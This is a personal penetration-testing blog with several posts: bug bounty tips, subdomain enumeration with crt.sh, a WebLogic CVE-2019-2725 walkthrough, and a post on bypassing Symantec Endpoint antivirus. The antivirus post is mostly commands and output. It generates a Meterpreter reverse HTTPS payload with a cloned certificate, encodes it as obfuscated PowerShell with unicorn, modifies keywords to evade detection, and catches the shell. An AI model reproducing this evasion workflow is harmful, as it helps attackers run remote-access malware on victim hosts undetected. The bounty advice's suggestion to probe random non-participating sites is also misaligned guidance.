Saturday, March 14, 2020

Cross Domain Referer Leaks

For those of you that are into Bug Bounties, you will know that Cross Domain Referer leaks are common bugs reported.  I had much luck reporting against such bugs on hackerone. However, do you just hate it when the triagers close your bugs out as "Informative"?



For the life of me, I couldn't understand what that meant until I had examined the output closely in Burp. When you have a Cross Domain Referer leak, it means that the target is leaking certain url that contains sensitive information such as password reset tokens, private invites, email address, etc.



Since most leaks happen to go to analytics, always check all output of adjacent requests to ensure that the following is not present:

1. Javascript/DOM output containing output to analytics.
2. CSP (Content Security Policy) trust between target analytics.

If none of those are present, safe to say you have a valid bug. If you have leaks to google analytics or doubleclick also owned by google, high probability those bugs will be closed as Informative because the victim sites already established trust between those sites so any leaks to it are considered acceptable risks.

Good luck in bug hunting boys!


Wednesday, January 15, 2020

Subdomain Recon Using Certificate Search Technique

Introduction

This enumeration step was taken off Nahamsec's recon video. It involves using the following tools:

1. crt.sh
2. jq
3. httprobe
4. meg
5. aquatone or webscreenshot. I used the latter.

These techniques involve use of the mentioned tools in particular order. Firstly, crt.sh can be called using a script or directly from its website. The input it stored into json output. That's when you need jq to parse the output into the readble format. You can oneliner it into a single script which I have included in the steps below.

Meg is used to perform force browsing for specific paths that you are looking for and aquatone or webscreenshot are tools used to index the output of the websites that was enumerated.

Steps

1. Save the following curl statement into a executable script eg. crt.sh:

#!/bin/bash

curl -s https://crt.sh\?q\=%.$1\&output\=json | jq -r '.[].name_value' | sed 's/\*\.//g' | sed '/@/d' | sort -u


2. Run the script agaisnt target:

$ crt.sh yahoo.com | tee out.txt | more

2013-en-imagenes.es.yahoo.com
3arrebni.yahoo.com
7-eleven.yahoo.com
a10.go.yahoo.com
a1.go.yahoo.com
a.analytics.yahoo.com
aat.answers.yahoo.com
ab.login.cn.yahoo.com
ab.login.yahoo.com
absnd.login.yahoo.com
ac4-as-cas01.ds.corp.yahoo.com
ac4-as-cas02.ds.corp.yahoo.com
ac4-as-isa01.ds.corp.yahoo.com
ac4-as-isa02.ds.corp.yahoo.com
academy.cc.corp.yahoo.com
academy-delivery.cc.corp.yahoo.com
academy-delivery-stage.cc.corp.yahoo.com
academy-rm.cc.corp.yahoo.com
academy-stage.cc.corp.yahoo.com
academy-stage-rm.cc.corp.yahoo.com
academy-stg.cc.corp.yahoo.com
accountlink.www.yahoo.com
accountlink.yahoo.com
--More--


4. Now, run it thru httprobe  or Nmap to see if http or https is running:

$ nmap -iL out.txt -p80,443 -oG out-nmap.txt

5. Inspect the output and remove unwanted chars and add the https:// into each line:

$ cat out-nmap.txt | httprobe

http://2013-en-imagenes.es.yahoo.com
https://2013-en-imagenes.es.yahoo.com
http://accountlink.www.yahoo.com
http://accountlink.yahoo.com
https://accountlink.www.yahoo.com
https://accountlink.yahoo.com
--More--

6. Use meg to force browse to the endpoints path that you are looking for, in this case we are looking for the infamous Citrix Netscaler bug CVE-2019-19781, don't forget to add the '/' in the search pattern:

$ meg '/*/vpns/cfg/smb.conf' out-format.txt out-dir

7. There will be a out-dir created, inside there is an index file. Here is just a sample of /index.html I searched:

/tmp/out-dir$ cat index 
out-dir/media-router-fp2.prod1.media.vip.sg3.yahoo.com/3994ddc095f04708e6a476c7dbda6808cbcdbb8b https://media-router-fp2.prod1.media.vip.sg3.yahoo.com/index.html (301 Moved Permanently)
out-dir/o2.ycpi.vip.sg3.yahoo.com/a1426f50f9c785e28e51de89ba4d52d3e5ff014f https://o2.ycpi.vip.sg3.yahoo.com/index.html (404 Not Found on Accelerator)
out-dir/w2.src1.vip.sg3.yahoo.com/f6f9173b70df41d4ac99e337fdfd137fe4a21826 https://w2.src1.vip.sg3.yahoo.com/index.html (200 OK)
out-dir/e1.ycpi.vip.sgb.yahoo.com/b8eefa16ab7eaa1a3fa6099a5a8988dad15f2c91 https://e1.ycpi.vip.sgb.yahoo.com/index.html (404 Not Found on Accelerator)
out-dir/ats1.l7.search.vip.sg3.yahoo.com/a900373dc6d4aee1f0b10fbd26d5969287737970 https://ats1.l7.search.vip.sg3.yahoo.com/index.html (404 Not Found)
out-dir/media-router-omega1.prod.media.vip.gq1.yahoo.com/c6aef34813955ecc248a8b2401b60f1e30b7e766 https://media-router-omega1.prod.media.vip.gq1.yahoo.com/index.html (404 Not Found)
out-dir/w2.src1.vip.sg3.yahoo.com/a831e26d93084d96171fce67ed4aa3f5119c990d https://w2.src1.vip.sg3.yahoo.com/index.html (200 OK)
out-dir/w2.src1.vip.sg3.yahoo.com/0ed90c45f0ae3107247eaf312b35906dc2b946a0 https://w2.src1.vip.sg3.yahoo.com/index.html (200 OK)
out-dir/w2.src1.vip.sg3.yahoo.com/1eddab1986d57d5464cf60695d5efae6cf482400 https://w2.src1.vip.sg3.yahoo.com/index.html (200 OK)
out-dir/w2.src1.vip.sg3.yahoo.com/94edbc7e3226e5496b04039e3f26329eb5fb67d5 https://w2.src1.vip.sg3.yahoo.com/index.html (200 OK)


8. Lastly, examine meg output for the interesting response, grep the '200 OK' responses and use webscreenshot or aquatone to create a curated snapshot of each result. I won't have to document this step since it is rather straight forward.

Summary

The technique above can be used to enumerate http or https endpoint for specific paths or files. You may also force browse using a dictionary like gobuster or dirb but that take more time. If you know the exact files or directories, it is faster to use this technique. Eitherway, you can still use your fav tools by building your own dictionary using the output from crt.sh. The point here is to scrape subdomains from certificate search.

Saturday, November 30, 2019

Adventures in Bug Bounty Hunting

I decided to venture into the world of bug hunting in late 2018. I started with hackerone, synack, bugcrowd and here are some of my tips & experiences in my virgin journey. For a start, I am a full time Cyber Security Advisor specializing in Penetration Testing and Incident Response. I have background in Vulnerability Assessment, SIEM and Compliance Testing. In total have been in IT security for more than 15 years of my career.

1. Bug hunting is by far the most challenging experience in my career. In my honest opinion, it beats any certification/training in the market. It is a great way to learn something from scratch. There are tons of materials on the Web. My suggestion is to read up on as much material you can get hold. Some good sites include hackerone public reports, Real World Bug Hunting and Web Hacking 101 by Peter Yaworski and Orange Tsai. Medium is a great place for blogs too.

2. Get a mentor if you can. It is much faster if you have someone more experience in bug hunting to help you get started. Though, not many people are willing to share their skills due to the competitive nature of bug hunting. Good places to look for help are people that you know in real life. Get involve in your local social/special interest group meetups. Nothing beats personal experiences than trying to direct message a cocky hacker on Twitter.

3. Look for easy bugs such as cross referer domain leaks, private information leaks to 3rd party, missing authorization, CSRF, etc. The reason why bug hunting is so difficult is because there are just so many hackers testing the same programme. By the time you start hunting, there have been over 100 bugs reported, so do prepare for duplicates after submission.

4. Practice report writing, special attention to impact. Different platforms have different expectations. All platforms expects bugs to be reproduceable based on your report, so make each bullet point clear and concise. After that, make sure the impact is clearly described. Avoid cutting and pasting VA reports. Some platforms will deduct your reputation points for hypothetical reports, so beware. Bug hunting reports are actual hacking PoC, you need to be able to carry out the attack and show the business impact. Include screenshots with descriptions on each step.

5. Do not give up. When I first started on hackerone, I was dipping under 100 rep points, but gradually manage to bring it up to 300+, I also made about USD3000 combined on different platforms. But the initial frustration almost made me give up. I can attest pen-testing in my day job is far easier than bug hunting.

6. Start with progammes that do not pay bounties. It is easier and more likely to find a bug than paid ones due to competitiveness. Once you have an idea, go ahead and shoot for paid bounties. Also, if you feel it is too difficult to find valid bugs on bug bounty platform, just test some random site, you'll be amazed at how easy it is to spot a bug (even severe ones) on websites that do not participate in bug bounties. But, pay special attention to the law as you might be crossing the line here. If they have a responsible disclosure programme, you may opt to inform them of your findings.

7. Try to understand what each platform or progamme is looking for. Eg. programme ABC is interested in content spoofing, so if you find such bugs, more likely they will pay for it. The same bug might not be accepted on programme XYZ, simply because their risk register are different, it is hard to say which bugs will be accepted but read their policy carefully.

8. Be respectful with both programme and platform staff. They get to determine if your bugs get triaged. Final say will be determine by the programme owner or platform staff.

9. Be creative with your bugs, if you expect to only hunt for the OWASP top 10, you will be disappointed. Such bugs are heavily hunted and like Pokemon, are less likely to appear. Be resourceful and read other hackers' reports and try to innovate. Do not copy and paste other hackers reports, you will most likely get rejected.

10. This is especially true on hackerone, it is easier to get an accepted bug on progammes that are not run by hacker one staff. I don't know why, but I feel the programme owners are more lenient with acceptable bugs than hackerone staff. This is just my observation.

11. Lastly, keep abreast with latest research in cyber security. There are many notable researchers in this field, eg.  James Kettle and Orange Tsai are fine examples of pioneers that have dropped pretty big findings recently. Follow them on Twitter. Ben Sadeghipour, a notable hackerone hacker is also worth to follow as he has live telecast of bug bounty tips.

Overall, I am an old fart of 42 years but still learning and the guys I am learning are half my age. While most of my peers are now Head of Info Sec or CISOs, I choose to follow my mid life crisis; that is to continue to remain a tech guy. I'm getting better and my next year goal (2020) is to hit 900 reps on hackerone. It is definitely challenging to balance bug hunting with a family and a full time job but success is so sweet. I've made enough money from bounties in the last 4 months to buy my whole family a flight ticket to Europe for our holiday!


Sunday, August 11, 2019

SEP AV Bypass For Meterpreter

Here is a simple method to bypass Symantec End Point AV from detecting Meterpreter. The technique is not unique and had been documented on other blogs. I take no credit for it but it is still worth its salt as I had some success using it during my engagements. This is really useful when you have gain a foothold on a victim host but you can't disable the AV because you don't have the password. Remember, most AV engines require additional password to disable it even though you already have SYSTEM privilege. So, the next best thing you can do is, try to bypass it. As long as you do not touch disk and execute code in mem, you could have a fair chance of evading but the HIPS (Host IPS) might be a pain, so I found this technique documented here. The difference is I used unicorn to further obfuscate the payload in ps1 format.

1. Firstly, the AV will most certainly catch the default certificate used by msf. To get around it, generate a fake certificate using msfconsole. 

> set rhosts www.google.com
rhosts => www.google.com
msf5 auxiliary(gather/impersonate_ssl) > run
[*] Running module against 172.217.166.132

[*] 172.217.166.132:443 - Connecting to 172.217.166.132:443
[*] 172.217.166.132:443 - Copying certificate from 172.217.166.132:443
/OU=No SNI provided; please fix your client./CN=invalid2.invalid 
[*] 172.217.166.132:443 - Beginning export of certificate files
[*] 172.217.166.132:443 - Creating looted key/crt/pem files for 172.217.166.132:443
[+] 172.217.166.132:443 - key: /root/.msf4/loot/20190318165057_default_172.217.166.132_172.217.166.132__624209.key
[+] 172.217.166.132:443 - crt: /root/.msf4/loot/20190318165057_default_172.217.166.132_172.217.166.132__236829.crt
[+] 172.217.166.132:443 - pem: /root/.msf4/loot/20190318165057_default_172.217.166.132_172.217.166.132__976059.pem
[*] Running module against 2404:6800:4001:80f::2004
[*] 2404:6800:4001:80f::2004:443 - Connecting to 2404:6800:4001:80f::2004:443
[-] 2404:6800:4001:80f::2004:443 - 2404:6800:4001:80f::2004:443 No certificate subject or CN found
[*] Auxiliary module execution completed


2. Now, generate its payload, I use reverse HTTPS with the fake cert.

msf5 auxiliary(gather/impersonate_ssl) > use payload/windows/meterpreter/reverse_https
msf5 payload(windows/meterpreter/reverse_https) > show options 

Module options (payload/windows/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.8.103    yes       The local listener hostname
   LPORT     443              yes       The local listener port
   LURI                       no        The HTTP Path

msf5 payload(windows/meterpreter/reverse_https) > set handlersslcert /root/.msf4/loot/20190318165057_default_172.217.166.132_172.217.166.132__976059.pem
handlersslcert => /root/.msf4/loot/20190318165057_default_172.217.166.132_172.217.166.132__976059.pem
msf5 payload(windows/meterpreter/reverse_https) > set stagerverifysslcert true 
stagerverifysslcert => true

msf5 payload(windows/meterpreter/reverse_https) > generate -f psh-cmd
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAG <SNIP SNIP>     ByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA==msf5 payload(windows/meterpreter/reverse_https) > generate -f psh-cmd -o /tmp/works.txt
[*] Writing 7359 bytes to /tmp/works.txt...


3. Use unicorn to obfuscate /tmp/works.txt, you can remove "%COMSPEC% /b /c start /b /min " before exec unicorn.

# python unicorn.py /tmp/works.ps1


                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:


aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

                
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave

Happy Magic Unicorns.

[*******************************************************************************************************]

    -----Custom PS1 Attack Instructions----

This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro.

Note if choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by
VBA. You may change the number of characters in each VBA string by passing an integer as a parameter.

Examples:

python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500

The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA.

[*******************************************************************************************************]
 
[*] Exported powershell output code to powershell_attack.txt

3a. The obfuscated output is now in powershell_attack.txt which can be used on he victim host with AV.

# cat  /home/gr00t/Downloads/unicorn/powershell_attack.txt

powershell /w 1 /C "s''v Ls -;s''v Ew e''c;s''v ixN ((g''v Ls).value.toString()+(g''v Ew).value.toString());powershell (g''v ixN).value.toString() ('cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlACAAYQBRAEIAbQBBAEMAZwBBAFcAdwBCAEoAQQBHADQAQQBkAEEAQgBRAEEASABRAEEAYwBnAEIAZAB        <SNIP SNIP>      wBCADEAQQBFAGsAQQBWAGcAQgB4AEEASABvAEEAYQB3AEIAcgBBAEcARQBBAGEBAEgAQQBBAFAAUQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFIAQQBCAHAAQQBHAEUAQQBaAHcAQgB1AEEARwA4AEEAYwB3AEIAMABBAEcAawBBAFkAdwBCAHoAQQBDADQAQQBVAEEAQgB5AEEARwA4AEEAWQB3AEIAbABBAEgATQBBAGMAdwBCAGQAQQBEAG8AQQBPAGcAQgBUAEEASABRAEEAWQBRAEIAeQBBAEgAUQBBAEsAQQBBAGsAQQBIAE0AQQBLAFEAQQA3AEEAQQA9AD0ACgA=')"



3b. Now, you can use msfconsole to catch the reverse https shell, execute powershell_attack on victim host after modifying the keywords vAlue.ToString() to avoid AV detection

msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.8.106    yes       The local listener hostname
   LPORT     443              yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

meterpreter > exploit

[*] Started HTTPS reverse handler on https://192.168.8.106:443
[*] https://192.168.8.106:443 handling request from 192.168.8.104; (UUID: qbdxxru2) Meterpreter will verify SSL Certificate with SHA1 hash e27a4b10aeea1b1e22a1ee86d9a6d7f0584d08e9
[*] https://192.168.8.106:443 handling request from 192.168.8.104; (UUID: qbdxxru2) Staging x86 payload (180825 bytes) ...
[*] Meterpreter session 4 opened (192.168.8.106:443 -> 192.168.8.104:50302) at 2019-03-19 17:08:05 +0800

meterpreter > sysinfo
Computer        : DESKTOP-O7UQ1HA
OS              : Windows 10 (Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows


4. On the victim host, you'll notice that the AV did not trigger.



Tuesday, July 2, 2019

Exploiting CVE-2019-2725: Oracle WebLogic Server Deserialization

Introduction


Recent Oracle advisory pertaining a serious deserialization flaw that impacts WebLogic Servers version 10.3.6.0 & 12.1.3.0. This flaw is very trivial to exploit, leading to RCE with uid=1000(oracle) rights. There are exploits in the wild, the simplest one to use can be found in metasploit.

Installing Vulnerable Docker


To safely test this exploit without getting in trouble with the law, you can download a vulnerable docker container. Here is mine:




Detection


Easiest way to detect the instance of WebLogic is to use Nmap NSE script.

$ sudo nmap --script weblogic-t3-info -p 49163 127.0.0.1 -sSV
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-02 20:21 +08
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00013s latency).

PORT      STATE SERVICE VERSION
49163/tcp open  http    Oracle WebLogic admin httpd
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 12.1.3.0)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.55 seconds


Exploitation


Fastest way to exploit this bug is to use "exploit/multi/misc/weblogic_deserialize_asyncresponseservice" in msfconsole:


Setup the RHOST, RPORT and PAYLOAD:


Once everything is in place, run the exploit against your docker container:



Exploit Analysis & Summary


This exploit is so easy to run that it is being used to randomly hit servers across the world to mine for crypto currency. It is basically a oneliner exploit, take a look at its payload in real time using tcpdump:


The payload sends a reverse shell in bash to an attacker ip address on port 4444. You can practically swap it out for anything, eg. RCE. Being so simple to exploit, you may think that most organizations had patched their systems already. Well, the mighty US DoD (US Department of Defense) was caught  with their pants down during a bounty. Often the simplest things are the ones that catches us by surprise. During my pen-test engagements, very often I'd obtain critical findings from simple things like weak admin credentials, missing critical patches & stupid misconfigurations. So, if you are a pen-tester, always start with the basics. Enumerate the targets thoroughly, do not leave any stone unturned. The more you know about your targets the more likely you'll be able to hack it. The import piece is the detection/enumeration of vulnerabilities. The exploitation is usually easy once you know what you are after.





Friday, June 14, 2019

Evil-Droid Demo Part 1-3


Here are a few recorded PoCs of evil-droid by Mascerano Bachir in action. It was recorded for a security awareness talk that I will be presenting. Pretty cool tool, it decompiles an apk to insert your payload of choice. I just chose msf meterpreter, works like a charm.